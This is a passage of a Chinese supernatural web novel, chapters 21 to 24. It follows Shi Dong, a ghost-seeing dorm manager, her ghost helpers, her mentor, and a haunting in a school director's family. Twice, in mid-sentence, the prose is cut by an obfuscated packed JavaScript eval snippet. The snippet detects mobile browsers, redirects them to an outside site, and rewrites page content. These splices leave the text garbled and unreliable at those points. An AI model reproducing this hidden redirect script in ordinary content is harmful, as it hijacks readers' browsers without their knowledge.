很快,偌大院子安静下来。拾冬在床边坐了一会儿,后院传来潺潺水流声,缥缈的虚无感扑面而来,很快,抵挡不住的困意浮了上来。 算了,先睡再说 她从包里拿出换洗衣物进浴室,她一边刷牙一边随手擦拭刚溅到镜子上的水珠,忽然手腕传来冰冷触感,人被一股力往前扯,头磕在镜子上咚一声响, 镜子里,女人眼神空洞盯着她, “少管闲事。” 21. 第 21 章 第二天拾冬被早晨阳光刺得睁开了眼。 窗帘没拉实,阳光透过落地窗台铺了一地,明晃晃的,让人恍惚。 拾冬困倦翻了个身,醒了醒困,从床上坐起来,花几上的窄口花瓶里蜿蜒几枝含着嫩芽的花枝,影子落在雪白墙壁上,恬淡安静。 这间卧室白天看更加漂亮,漂亮得她只在图片上见到过。 一不小心睡过了头,想着五一的假她还没休,干脆跟刘姐打招呼休息。 微信上,昨天刚加上的人有两条未读信息。 “我上课去了,昨晚没做梦。” “想吃什么叫阿姨做。” 他家还有阿姨? 拾冬环顾了一圈四周,昨晚那个女人说完就不见了,这算是警告吗? 女孩低头看到手腕上快淡下去的五指血痕,决定等会去找孟永。 刚下楼看到客厅的阿姨,看上去四十多岁,在看到拾冬后对她弯腰鞠躬,恭敬叫她“小姐。” 这.. 不是,宅子是中式宅,不用人也这么中式吧。 拾冬受不了这如此大礼,解释道自己不是什么小姐,只是来...说抓鬼会不会有点奇怪,正在她努力想找个合适的借口时,阿姨问她想吃什么。 “不用,我现在就走。” 阿姨又恭敬一鞠躬,“小姐慢走。” “……” 好像人机。 拾冬出了门,路过花丛时,俯身动作精准拎出藏在里头通体黑,只有四肢爪子是白色的猫,“昨晚是不是你?” “喵喵喵。”被扼住命运喉咙的猫手脚并用在半空挣扎。 “说人话。” “我可是这家女主人,你对我尊敬点!”黑猫龇牙咧嘴说道。 黑猫看样子是死了没投胎的,有些动物生前业力若不够,死后很难再投胎,大部分会落得个魂飞魄散的下场。 拾冬拎着黑猫后颈皮问道:“黑崽,这宅子里有个女人你见过吗?” “不要叫女孩子黑崽!你有没有礼貌!”黑崽竖起了脊背的毛发出怒吼,“我就算知道也不告诉你,你这讨厌的女人。” 看来问不出什么。 拾冬把猫扔回草丛,黑崽摔了个屁股墩,也不客气在拾冬手上划了一道,随即跑进草丛不见了。 “喂,你有没有狂犬病!”拾冬盯着自己渗血的手背,朝草丛喊。 “你才有狂犬病!”草丛里传来黑崽气急败坏的回答 拾冬扯了扯嘴角头也不回出门了。 * 拾冬去了纸扎铺,前厅没看到人,自然地往后走,果不其然孟永正在削竹子,看到她来也不说别的,指了指八仙桌上的纸,“去搓个纸。” 拾冬嗯了声,坐在桌前开始搓纸。 皮纸是用来缠篾条的,所以对搓的力道有讲究,太紧太松都不行,两端还得留鱼尾造型,拾冬从小跟他学,对这工作早已熟能生巧。 “手怎么了?”拾冬一进门,孟永就注意到了她手上的划痕。 “被野猫抓了。”拾冬惜命,即使黑崽说没有,她还是去医院打了针狂犬,这笔账得找郁之报销。 孟永“嗯”了声,接着问:“今天怎么想到来我这。” 拾冬本来是想问阴婚的事,但她什么信息都没有,问了也没用,说不定还会被老头唠叨,干脆扯谎说今天休息,来看看。 “新鲜,你还能想到我这把老骨头。”老头嘴硬,脸上却笑出了褶子。 “不待见那我现在走?”拾冬一边搓纸一边说着。 “迟早被你气死!” 拾冬耸肩接着呛:“可别说这样的话来道德绑架我,老板,我们从来都是各管各的。” 孟永用烟枪狠狠敲了敲桌角。 拾冬一天都待在孟永店里,有生意就帮忙招呼,没生意两人就在店后扎纸扎,晚上时候,孟永特地去菜场买了鱼,烫了酒,两人坐在还堆着半成型狮子头的八仙桌上,碰杯走了一个,席间孟永说起向家新闻,不知道是不是喝了酒的缘故,拾冬把孟永不知道的那些事补全了。 “被向家人收养的是你孤儿院的朋友?” 拾冬点头,“她还给我留了一笔钱。” 孟永笑了,“人家无缘无故干嘛给你钱。” 拾冬无所谓答道:“我被她上身了。” 刚说完手边的酒盅盖突然弹跳起来,整个桌子都抖了一下。 “你他娘的把我话当耳旁风了是不是!我跟你说过多少次要你小心那些东西,你竟然被她上身!”孟永拍桌子站起来,抓筷子的手颤抖指向她,干瘦胸口像快拉不动的鼓风机短又急促起伏着,“你不要命了!” 鬼上身,对他们这类人来说是大忌,一旦让鬼上身,轻则折寿,重则会被恶鬼夺舍。 拾冬没料到孟永会如此生气,感觉下一秒就有可能背过去,但她又实在嘴硬,只会火上浇油,“我这不是没事吗?我心里有数,瞎操什么心。” “这次没事,下次呢?你再这样,迟早会遭大难!” 拾冬低头吃菜。 从前厅吹来一阵风,头顶用电线吊着的白炽灯左右摇摆起来,他们一站一座的影子跟着一起晃动,僵持好半晌,孟永坐了下来,仰头喝光杯里的酒, “老郭前两天来找我喝酒,絮絮叨叨说了老一大堆,还要我少抽点烟,我没当回事,第二天才知道,他找我的当晚,刚回去就脑溢血没了。” “人啊,要死要走都是一瞬间的事,我也快了。” “丫头,你要为自己打算,你没发现刘友给我们的活儿越来越少了吗?” “这碗饭,我们快吃到头了。” 穿堂风扑在后颈,拾冬埋头机械喝了口酒,满屋的人形纸扎,他们和孟永一起,静静看着自己。 酒,有些凉了。 * 吃完饭,拾冬回学校,转弯时回头发现孟永站在门口抽烟,他朝她挥了挥手,佝偻的影子被压成薄薄一片,她什么都没说,低头走出菜场。 回去路上不知在想什么,等回过神发现坐过了一站路,一站路也不远,拾冬干脆走回去。 “妈,今晚吃啥,我马上就回来了。” “爸爸,我们回家吧,回家看奥特曼。” “你不知道我今天遇到了什么丧心病狂的事,我先扫辆车,等会跟你说啊。” 拾冬从包里掏出耳机,把音量开到了最大。 郁之一天都没联系上拾冬,问家里阿姨,阿姨说她一大早就出门了,学校也没回,还以为她是不是出事了,刚准备再试着联系,远远看到她过来,上前就问她为什么不接电话不回微信。 “嗯?” 拾冬耳朵里还塞着耳机,郁之听到她耳朵里漏出欢快吵人的鼓点,伸手自然取下她的耳机,“开这么大声,耳朵不要了?” 世界恢复平静。 拾冬回过神,问他找自己什么事。 郁之正想发问,鼻子嗅了嗅,闻出她身上的酒味,又看了看她的脸,凑近问:“怎么了,不开心吗?” 拾冬摇头。 其实说不上开心还是不开心,不过酒精容易催化平时隐藏的情绪,她现在只想回去睡一觉,不想去厘清脑子里乱七八糟的事情。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640425|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正要往前走,郁之上前拦住,两人都没控制好步子,拾冬的额头磕在他胸口,距离太近,她闻到很淡的植物香气,在她想退开之前,郁之在她手心放了什么东西。 拾冬低头一看,竟然是一卷钱,看这厚度,起码一千打底。 “.....你干嘛?”拾冬眨了眨眼,不知道这是什么意思。 “哄你开心啊。”郁之坦然回答,“没听过一句话吗?钱能解决生活百分之八十的不开心。” 拾冬也不知道自己该怎么回答,顺着他的话糊里糊涂地问:“剩下的百分之二十呢?” 郁之被拾冬懵懵懂懂的模样逗笑,又掏出一卷,说:“加倍给。” “...神经病。”拾冬脸上虽然还是那副刻薄的模样,心里意外的没那么烦躁了,她把钱还给郁之,问他有什么事。 “也没什么。”郁之没有勉强拾冬收钱,问她,“今晚回家吗?” 回家。 拾冬晃了晃神,摇头拒绝,“今晚值班。” “那明晚可以吗?” 拾冬往后退了一步更大拉开两人距离,含糊其辞:“明晚看看吧。” “好,回去好好休息。” 拾冬看着郁之,灯光把他照得好亮。 “好。” 离寝室还差几百米时,拾冬一个没看清和对面的人不小心撞上,对方好心扶了一把。 “谢谢。” “好久不久,阿冬。” 在辨认出眼前的人后,拾冬笑道:“说实话,不太想听到这句。” 眼前的人早已不是当初在孤儿院那副邋遢模样,长成了清俊少年。 “抓住她,快,抓住她!” “让我走!让我走!让我走!” 拾冬把人推开,面无表情回了宿舍。 * 拾冬一睁眼,颊边传来冰凉触感,言言趴在床边,小手摸着自己脸颊。 “干嘛小鬼。”拾冬蹙眉躲开,偏头拂去眼角快要滑落的液体,之后若无其事威胁道:“敢胡说八道就揍你。” 没得到夸奖的言言举着小拳头啊啊叫起来。 拾冬起身进卫生间洗漱,冷水扑在脸上刺激了混沌大脑,她盯了几秒镜子里的自己,抹了一把脸上水珠,看了看时间,该摆摊了。 谁都不能阻止她赚钱。 拾冬人还没到,外面就已经排着队了,刚坐下,队伍后面有人惊慌喊了句“主任来了” 大家立马散开,生怕被抓。 其实早前拾冬摆摊上下午都有,被上头人警告后就上午开,没想到上头还是来人了,来的人是面试拾冬时打斗地主的谢主任。 “我不是说了不准在学校搞封建迷信这一套..”谢主任板着脸环顾了一圈周围好不容易排到号,不甘心走的学生们,“还不走,都想被记过,不想毕业了是吧。” 大家这才不情不愿散开,临走前还偷偷瞪了一眼快要秃顶的谢主任。 “看来我们今天没香火吃了。”绿头坐在台阶上惆怅托脸哀叹,随即恶狠狠冲谢主任吹了好几口恶气。 谢主任冷得一激灵,摸了摸自己发凉的脑袋,抬头看了眼头顶的大太阳。 出师不利的拾冬收回自己的二维码准备搬桌子回办公室,不料被主任叫住。 看来又是一顿批评教育。 小不忍则乱大谋,为了能在学校待下去,拾冬乖乖站着准备接受一波科学教育,结果谢主任鬼鬼祟祟附在耳边问: “大师,可以上门吗?弟子有一事相求。” ? 前些天跟我讲富强民主和谐文明的人是你吧。 22. 第 22 章 都说科学的尽头是玄学,谢建安本来不信,他甚至因为拾冬在学校搞封建迷信这套上报给了副校,副校没好意思说自己早就找过拾冬,索性睁一只闭一眼糊弄过去,可这几天发生的事,让谢建安心神不宁。 他家闹鬼了。 “起先只是一些小东西会自己移动位置,我老婆没当回事,以为是她自己放的,可后来床也动了,一点声响都没有,查了监控,什么都没拍到,这..这肯定是有问题啊。” 谢主任说着后背忍不住发凉。 “最近有没有去平时不常去的地方,或者买了什么东西?” 谢主任神色不自然地挠了挠头,想了半天回答:“没有啊,我的钱都是我老婆管,兜比脸干净。” “……” 兜比脸干净,那你有钱付给我吗? 毕竟是主任,总不能得罪,拾冬要谢主任写下他家地址,决定派出红绿两头先去探探情况。 延吉路58号2单元401,盛辉小区。 拾冬朦朦胧胧感觉这地址有点熟悉,但又想不起来。 “你们去看一下。” “收到。” 绿头越来越有打工人的潜质了,她们手牵手飘走,嘴里兴奋说今晚又有香火吃,像是一对普通的大学校友。 下午时候,有个同学进来说外面有人找,出去一看是昨晚遇到的姜州。 她早在某次食堂吃饭就认出了姜州,只是她这人向来不喜欢叙旧,姑且当做不认识,没想到姜州主动找过来了。 没了酒精的刺激,现在她恢复平静,问他:“有什么事?” 旧友相见,原本以为会是温馨场面的姜州面对拾冬平铺直叙的问话,一时语塞。 “好久不见。”姜州又重复了一遍昨晚的话。 “嗯。”拾冬不看姜州,看向宿舍外面陆陆续续开了的南洋紫薇。 “云黛..的事你知道了吗?” 拾冬点头,没有过多描述她还见过死了的向云黛。 “竟然会发生这样的事。我们高中的时候还写过信,后来因为她要高考了,就断了联系,没想到...” 姜州一边观察拾冬的表情一边说,他企图用云黛来打破眼下硬邦邦的气氛,可云黛这把锤子对于如今的拾冬的来说,似乎太轻,敲不开拾冬身上的壳。 “阿冬,这些年你在哪里,过得还好吗?我其实很想找你。”姜州直抒胸臆。 “你是来叙旧的吗?”拾冬收回看花的目光,凉凉反问,“如果是的话,以后不要来了。” 姜州始料未及。 十几年未见,她愈发锋利了。 可她最开始不是这样的。 姜州刚来福利院的第一天,第一个跟他打招呼的人就是拾冬,眼睛又亮又清澈,脆生生做自我介绍,带他到处转,姜州从心底喜欢她。 即使后来别的小朋友要自己别跟她玩,说她脑子有问题,他也没当回事,那时候他,拾冬,还有云黛总是黏在一起,小小院子里,到处都是他们的笑声。 直到拾冬被人领养。 那家人看上去很有钱,开了好几辆车来接拾冬。 走的那天,他和云黛追着车子跑了好远,载着拾冬的车很快不见,云黛跪在地上嚎啕大哭。 他们以为拾冬不会回来了,可没多久,听说拾冬被领养人退了回来,福利院的孩子都在嘲笑拾冬没人要,只要自己和云黛是高兴的,他们又能一起玩了。 拾冬是从那天开始变的,她经常一个人发呆,他们说什么也不回应,有时候还会一个人捂着头尖叫,他们有些害怕,渐渐不敢靠近拾冬了。 也许是拾冬长得乖巧漂亮,她很快被第二家领养,但很快,她又被退了回来。 直到第三次第四次,姜州就这么看着拾冬越来越沉默,他想起前些天抓的鸟,因为不会养,它一天比一天虚弱,后来死在巢穴里。 拾冬就是那只鸟。 我还是喜欢原来的阿冬。 姜州对云黛说。 说完这句话的一个月后,他看到了活过来的拾冬,她跌跌撞撞奔跑着,那么小的身子仿佛藏着一阵风,飞快奔向门外。 “抓住她!州州,抓住她!” “让我走!” “让我走!” 鸟在风里尖叫。 “阿冬快走!” 姜州用尽全身力气挡住大门,看门外的小鸟越飞越远。 起码知道她现在还自由飞着,那也不错。 姜州转身离开。 * 晚上时候绿红两头回来了,手里还提溜着战利品,一只野鬼。 鬼靠香火,最近拾冬香火给的足,绿红两头战斗力蹭蹭往上涨,合伙抓个小鬼分分钟的事。 “大哥,我去秃头家了,他家什么都没有,我给你抓了个本地鬼,你问问它。”绿头本来想再蹲一会儿,可是怕晚了拾冬睡了没香火吃,干脆抓了个现成的回来,一举两得。 小鬼被打的鼻青脸肿,话都说不利索,委屈巴巴瞅了拾冬一眼,蹭一下跪下,嘴里含糊不清地伸冤:“仙人,我就昨天偷吃了点别人的香火,就这一次啊,我错了,再也不敢了,放过我这次吧。” “……” 这是把她当什么了,来索命的鬼差吗? 拾冬不墨迹,问他在盛辉小区2单元401最近有没有看到奇怪的东西。 小鬼一听,眼球都快瞪出来了,期期艾艾地说:“我偷的就是401家的香火。” “401供着谁?” 小鬼摇头,“不知道。就因为没名字我才能偷吃到。” 给下面的人烧香烧供品,为了防止底下有鬼偷吃,争抢,都会先念供奉人的名字再烧,可这小鬼竟然说没听到那人名字。 “你们在他家有看到灵位或者遗照什么的吗?”拾冬猜供的会不会是他父母,可是红头说没有遗照,不过她看到一张全家福,一家四口。 没了解过谢主任家庭情况,拾冬接着下达命令,要绿头明天拍照片来。 “老大,可我没手机。” “…我..” “雪梨50Pro1000Tb。”绿头眨巴着星星眼,“内存大,拍照杠杠的,别说一张全家福,全小区的全家福我都能给你整来。” “……你们底下手机都出到50了..” “可不呗,时代在进步。”绿头骄傲拂了拂自己飘逸的头发,眨巴眨巴眼,“老大,雪梨可以吗?” “给你一杵子。” “杵子也行,就是比雪梨差点。” “……” 你们底下取名字真随便。 * 谢建安刚开门就看到妻子坐直了身,在看到是自己后紧绷的肩膀松懈,疲惫靠在沙发上叹了口气。 “没事,我已经找大师了。”谢建安坐在沙发上拥住妻子的肩宽慰道。 “别提你的大师了,一个个神神叨叨,什么用都没有。” 李翠萍说着眼眶发红,自从家里出现这怪事以来,他们都身心俱疲,死马当活马医,试了不少办法。 “这次找的又是谁?”虽说不信,但目前也的确没有好法子。 “这个你放心,我有数。”谢建安从包里掏出两张符,颇为虔诚贴在卧室门口,对着拜了拜,嘴里念念有词。 “实在不行,我们去儿子那住些天吧。”拜完后谢建安建议道。 “不行,颖颖还怀着孕,万一吓着了怎么办。”李翠萍想也不想否决丈夫意见,在客厅坐了一会儿黯然转身回卧室,谢建安也跟着无奈叹气,对着几案上的照片说:“我知道你舍不得,但是都过去了。” 几案旁,一个黑影一动不动。 半夜,谢嘉阳起身吵醒了本就没睡熟的妻子,舒颖肚子变大之后,睡眠质量也跟着变差,迷迷糊糊问他怎么了。 “上个厕所。” “好。” 谢嘉阳拿了烟和手机关上阳台落地窗,就着夜晚凉气吸了一口,烟草入肺,他手指在屏幕上打字, “你那快天亮了吧,墨尔本今天天气不错,不过温度有点低,你多穿点。” 谢嘉阳一路翻上去,对话框旁一个个红色圆圈格外刺眼,他苦笑起来,抽了好几口烟,接着打字, “不至于吧, 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“呜呜呜,我真是这世上最幸福的鬼了。” “我也是...” “言言,这有一辆小车!” 不满的言言立马被哄好,骑上小车去找刘姐了。 红绿两头一边试衣服一边流出宽面条泪,在心里下定决心要为拾冬赴汤蹈火。 所以当拾冬回到宿管办公室时,焕然一新的两颗头虔诚朝她一鞠躬,声音宛如军训般洪亮:“老大,欢迎回来。” “……” 你们没事吧。 “老大请坐。” 红头坐了个请的动作,刚坐下绿头便在后面给她捏肩,一股寒气直逼天灵盖,拾冬做了个制止的动作,“离远点,太冷了。” 红绿两头立马退到走廊,隔着玻璃窗开始操作刚到的手机,没一会儿拾冬眼前出现一张照片, “老大,我们刚刚去了401家,把他家所有照片都拍下来了..” 的确都拍下来了,连橱柜里的两只蟑螂都不能幸免。 拾冬靠在椅背看着眼前一张张翻过去的照片,在心里想,底下东西这么高级,不用投影仪就可以直接投屏。 “老大,有看出什么吗,还需要别的吗?视频也拍了。”绿头见拾冬一直不说话生怕是自己做的不好,小心翼翼发问。 拾冬食指挠了挠脸,咳了一声,“你那手机要不借我用两天。” 红绿两头默默把手机塞回兜里。 两个小气鬼。 拾冬把视线放回到眼前的全家福上。 一家四口,谢主任和妻子,身后站着两个孩子,高个男人欧式大双,和妈妈很像,一只手搭在妈妈肩上,另一个女孩个头矮一些,半截马尾,拘谨笑着。 这个女孩,拾冬放大缩小看了半天,看上去不像爸爸也不像妈妈。 是这个女孩在作怪吗? 拾冬决定明天去套套谢主任的话。 * 结果第二天,谢主任没碰到,碰到了一脸怨念的甲方。 拾冬想起昨天还用甲方的钱买了供品,莫名的,有点心虚。 “你没什么要说的吗?”郁之见拾冬半天不开口,愤愤不已提醒。 “看你健在说明我的符还挺管用的。”拾冬死鸭子嘴硬。 郁之差点没背过去,“有你这样的乙方吗?你想气死我黑我的钱。” 话也不用说的这么难听。 拾冬不喜欢兜圈子,理不直气也壮,“甲方说说你的诉求吧。” “今晚回家...” 拾冬点头淡淡说知道了,又强调道:“那是你家。” “你要是当我师傅,房子过户给你。”郁之可真是财大气粗。 “神经病。”拾冬头也不回回寝。 红头:“这男的要给老大送房子诶,是不是在追老大。” 绿头:“老大别相信,小心被嘎腰子。” 拾冬:“……” 23. 第 23 章 李翠萍一大早就去了儿子家,谢嘉阳上班去了,留舒颖和住家阿姨,中途舒颖说了句“最近半夜睡不好”,李翠萍立马紧张了起来,忙问最近有没有感到什么异常。 舒颖没深究婆婆说的异常指的是什么,随口答道:“没什么问题啊,就是嘉阳最近烟抽得凶,我说不动他,妈,你替我说说他,宝宝要出生了,得多注意。” “…诶..好。”李翠萍看着一无所知的儿媳,又看了看她圆滚滚的肚子,暗自咬牙拽紧了拳。 晚上八点多谢嘉阳回来了,看到李翠萍没什么大反应,淡淡说句“你来了”,这口气,像对待远房亲戚。 谢嘉阳对家里人的冷淡,在舒颖嫁进来没多久就感觉到了,但毕竟刚进门,她也不便多问,索性装不知道。 想着缓和他们之间微妙的矛盾,舒颖连忙拿出李翠萍给带来的小孩衣服,比给谢嘉阳看, “嘉阳,妈给宝宝买的衣服,你看,可不可爱。” 李翠萍也赶紧在一旁接口:“吴记那家老牌子新出了小孩款式,我就买了两件,要是喜欢,以后再买。” “我记得那家,结婚我穿的敬酒服就是在他家定的,两万多呢,妈破费了。” “不要紧,你们喜欢就好。” “谢谢妈。” 两人的一唱一和并未引发谢嘉阳参与,他换了鞋径直去卫生间洗手。 舒颖尴尬把衣服放回纸袋。 谢嘉阳瘦了,李翠萍一眼就看出来了,席间她给儿子夹菜,谢嘉阳移开碗,说最近肠胃不好,吃不下肉。 李翠萍的筷子尴尬停在半空,舒颖见状忙端碗接下,缓解尴尬说道:“他不吃我吃,我多吃点宝宝有营养。” 李翠萍强撑着又夹了两块到舒颖碗里,“那颖颖多吃点。” 吃过饭,谢嘉阳说还有工作没完成,进了书房再也没出来,这尴尬气氛连带着舒颖都撑不住了,李翠萍在客厅坐了会儿,见谢嘉阳没出来的意思,起身说要回去。 “我把嘉阳叫出来送妈你回去吧。”不知是不是马上要当妈妈,舒颖现在格外理解当妈人的心情。 “不用,让他忙吧,我坐公交很方便的。” 李翠萍说完往门口走,正要换鞋子时,谢嘉阳拿了车钥匙出来,“妈,我送你回去。” 母子俩一前一后上了车,谢嘉阳的车是好几年前买的,结婚时本打算买辆新车送他,他说不用,车保养得好,镜子上挂着的护身符是几年前过年,他们一起去山上求的,他和... 李翠萍收回看挂件的视线。 车子开出没多远,谢嘉阳问谢暄在墨尔本怎么样。 “…挺好的,前两天还给你爸打电话了,看样子过的不错。”李翠萍拽紧手里的挎包带子。 “是吗?什么时候。” “就前两天晚上,我和你爸都要睡了,这孩子一点都不体贴,不知道国内外有时差,我这边都黑了,我看视频里都还亮堂堂的。” “妈,我们晚上的时候墨尔本也晚上,还比我们快两个小时。” 李翠萍张着口支支吾吾半天没开声。 “妈,我想听句真话就这么难吗?” “嘉阳,我不知道你想听的真话是什么,我都送谢暄出国读书了,我这个当妈的做的还不够好吗?” “你从没问过我愿不愿意让谢暄走!”谢嘉阳狠狠捶向方向盘,发出一声尖锐鸣笛。 “在这件问题上,我不需要你的意见。”周围布景渐渐熟悉,李翠萍靠在椅背上疲惫不已,“看来你不是真心想送我,靠边停吧,我自己回去。” 谢嘉阳把车停在路边,李翠萍下车前望见儿子握着方向盘泛白的骨节,叹了口气:“嘉阳,你婚也结了,孩子也快要出生了,你得负起做丈夫做爸爸的责任。” “妈,回去路上小心。”谢嘉阳说完发动车子离开。 李翠萍深深叹了口气。 她失魂落魄往回走,一想到又要回去面对错位的家具顿感心烦。 “你被恶鬼盯上了。” 身后传来的声音让李翠萍条件反射转身,身后站着一人,一身黑衣,整个人因为眼角的疤显得凶狠,李翠萍左右看了看,最后指着自己问:“你说我吗?” 黑衣男人点头,眼神笃定,指了指地上:“你看” 李翠萍低头看到自己的影子,困惑不已:“看什么?” “你有两个影子。” 要是以往,李翠萍指定掉头就走,可如今她没有,吞了吞唾沫,问:“哪来的两个,另一个是什么样的。” “还有一个扎马尾,我说的对吗?” 李翠萍惊恐瞪大了眼,回过神后连忙上前,语气严肃凝重,“大师可有法子。” 男人冷峻不惊,“我可以帮你看看。” “大师这边请。” * 拾冬坐在车里,两颗红绿头坐在后座正凑在一起窃窃私语。 “这么一看,这男的不说话的话,开车的样子还挺帅的。” “果然男人最好的医美就是闭嘴。” “他们这是要去哪?” “约会吧。” “那我们跟着会不会不太好。” “不会,我们得保护老大安全。”绿头说完还唱起了歌,“明明是四个人的电影,我俩始终不能有姓名..” “……” 拾冬扭头朝后面瞪一眼,两鬼立马闭嘴,车里恢复宁静。 看样子要下雨,空气过于湿润,拾冬降了车窗下来,耳边响起哗啦声,是郁之放在中控台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664064|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的书,“你快要毕业了吧。” “对。” “不打算找实习吗?”拾冬看别的大四学生都陆陆续续退寝了。 “不实习,考研。还想在学校待几年。” “嗯。” 拾冬想到他家的大宅子,摆在他面前的,条条都是康庄大道,她闲得无聊,欠身去拿中控台上的书, “诶..等会..” 拾冬忽视郁之着急忙慌的表情,一看书名 ——女人真的很吃这一套。 拾冬: “……” 红绿两头:“……” 红灯一到,郁之迫不及待夺过拾冬手里的书,一把扔向后座,无缘无故得到一个大逼斗的绿头撸起袖子就要干,红头急忙抱住。 “…别人放我车上的,我没看。”郁之不知道为什么有些心虚,愣是没敢看旁边的拾冬,耳根发红地强调,“我真没看,我是要修道的,不谈恋爱。” 拾冬不在意嗯了一声,这边红头突然指着前面说:“老大,马上到盛辉小区了。” 拾冬这才想起谢主任今天一天没找过她,昨天两张500的符看来是把他搜刮干净了。 又是一个红灯。 车子在离小区200米地方停下,不远处的小区门口不少人进进出出,看上去很普通的一个小区。 拾冬收回视线,离绿灯还有五秒的时候,一个黑影重重摔在引擎盖上,郁之毫无反应,唯有红绿两头警觉而动,周身涌起滚滚黑雾,一人一边围住了拾冬。 黑影匍匐在车盖,看来是被什么伤了,拾冬不动声色观察着,就在这时,一道金光如刀似的劈下,黑影用尽全力闪到一边,挣扎间,意外对上了拾冬双眼... “拾冬,救我!” * 雨来得又猛又急,轰隆雷声响彻天际。 “大师怎么样?”李翠萍眼也不眨盯着阵法里的男人,甫一出阵,便迫不及待上前询问。 “跑了。” 李翠萍不知是喜是忧,总之心里松了口气。 “不过不必担心,我还有办法。” 李翠萍看着男人自信满满的模样,拿出早已准备好的利是,郑重交到男人手上,“大师,我并无赶尽杀绝的意思,就是希望那个人安生投胎。” 男人看着她微微发红的眼眶,接过利是,说了句明白了,便离开。 男人出门后,一直坐在沙发上不吭一声的谢建安起身凝视着妻子欲言又止。 李翠萍背对着丈夫深吸了口气,而后转过身说:“这件事我会处理好,你放心吧,我不会让那个人影响嘉阳,包括嘉阳的孩子。” 谢建安看着憔悴的妻子,“我没什么不放心的,你看着办吧。” 李翠萍一言不发进了卧室。 24. 第 24 章 拾冬发誓,她真没想救这个来历不明的鬼,当时绿头问:“老大是不是你朋友”拾冬还在疑惑对方怎么会知道自己的名字,就晚了那么两秒,绿头冲上去咔咔就是一顿乱杀,临了还十分帅气在引擎盖上摆了个半跪的pose。 拾冬确信自己最近给她们吃太饱了。 于是一无所知等着拾冬驱鬼的郁之,浑然不知有三个鬼进了自己家。 乙方对此在内心小小反省。 “那个,你怎么也不拦一下我。” “我没来得及,你冲太快了。” “我这不是想好好表现嘛。” 拾冬听着她们互相推诿,也不废话,指着地上这东西说:“你们自己解决,扔出去还是吃掉,随便。总之赶紧弄走。” 鬼会通过吃同类来增加自身武力值,这点拾冬早就见识过了,红绿两头最近武力值猛增,除了香火,在看不到的地方也偷偷做了不少这样的事。 弱肉强食,不管什么时候都适用。 “老大,别说得这么血腥。”被看穿的绿头扭扭捏捏。 “你们吃的时候怎么不嫌血腥。” “……” “拾冬,你不记得我了吗?”躺在地上奄奄一息的鬼虚弱地说。 拾冬垂眸低头,看了几秒,“不记得。” “也对,你跑了之后我们就没再见过,忘了也正常。” 拾冬瞬间握紧拳,又一次看向地面,她离开太久了,以至于她这么仔细辨认都想不起来这个人的名字。 “我是叶子,你还记得吗?” 拾冬愣了半分钟,望向地上女鬼,不知该怀疑自己还是怀疑她, “我记得叶子是男的。” 叶子躺在地上看到拾冬眼里的困惑,忍着全身疼痛撩开挡在脸上的头发,“我就是男的啊!我是男的!” 红绿头也没想到救回来的女鬼竟然是男的,红头喃喃自语:“你一男的头发比我还长。” “谁说男的不能留头发。”叶子又躺回地上吭哧吭哧喘着粗气。 拾冬不再纠结男女的问题,问:“你怎么变成这样了。” “倒霉呗。”叶子无所谓摊平在地上。 拾冬余光瞥见红头蹲在他身边,手在他腰间比划了一刀,而后绿头飞快点头,她默了默出声制止:“这个不准吃。” “啊?我们…没要吃。”红头心虚抬头,“我就…比划比划。” “…对..”绿头在一旁找补,指着谢主任家的全家福说,“他不就是这个人吗?” 照片里那个不像爸爸也不像妈妈,扎着马尾被误以为是女孩的人,的确就是眼前的叶子。 拾冬转念一想,如果现在把他规劝,让他别缠着谢家人,明天我就能从谢主任那拿上一笔钱。 旧友变银票。 拾冬眼神登时变了。 “你死了为什么不去投胎,再遇到今天这样的事,你不怕灰飞烟灭吗?” 叶子静了好一会儿,用即使灰飞烟灭也没有关系的满足表情淡淡地说:“无所谓,我拥有的已经够多了。” 拾冬无法从那个表情里共情到丝毫。 “扣扣扣..” 门外响起急促敲门声,郁之哆嗦的声音传进门缝:“救我...” “....知道了,等一会儿。”拾冬这才想起自己是有任务的,她悄声叮嘱红绿两头好好看住他就出门了。 “她干嘛去?”叶子见她包都拿走了,一副等会儿不回来的样子。 绿头:“共度良宵。” 红头:“洞房花烛。” 叶子:“这很难评。” 叶子缓了缓神,面对刚还想分食他的两鬼,指了指头顶的灯,“能关了吗,有点刺眼。” 鬼怕光线亮的地方,红绿两头也觉得这屋里怎么这么亮,于是手一挥,灯便灭了。 黑暗中,红头问:“我刚看你的神情肯定有故事,不介意的话说说呗。” 绿头:“对啊,说说呗,反正我们也不睡觉。” “好啊,说说吧。”叶子在回忆里翻了个身。 * 郁之刚在电话里把肖盛骂了个狗血淋头,肖盛也是满腹无辜。 “我就借个书,你那么生气干嘛?” “你别管,总之你以后不准再坐我的车!” “呵呵..”很微弱的笑声传来,郁之以为听错了没当回事,又骂了两句解气,刚挂电话,没想到更为清晰的笑声从浴室传来,这下,他无法自欺欺人。 鼓起勇气往浴室走去,飞快扫了一圈后,什么都没有,正当他松口气时,从镜子上方掉下几缕头发,不断向下延伸,越来越长,直至占据整面镜子。 !!!! “就在那里,镜子成精了,它长头发了。”一八五高个的人此时颤颤巍巍躲在拾冬身后,看也不敢看,胡乱指着面前的镜子。 镜子里什么都没有。 但拾冬并不怀疑郁之的话, 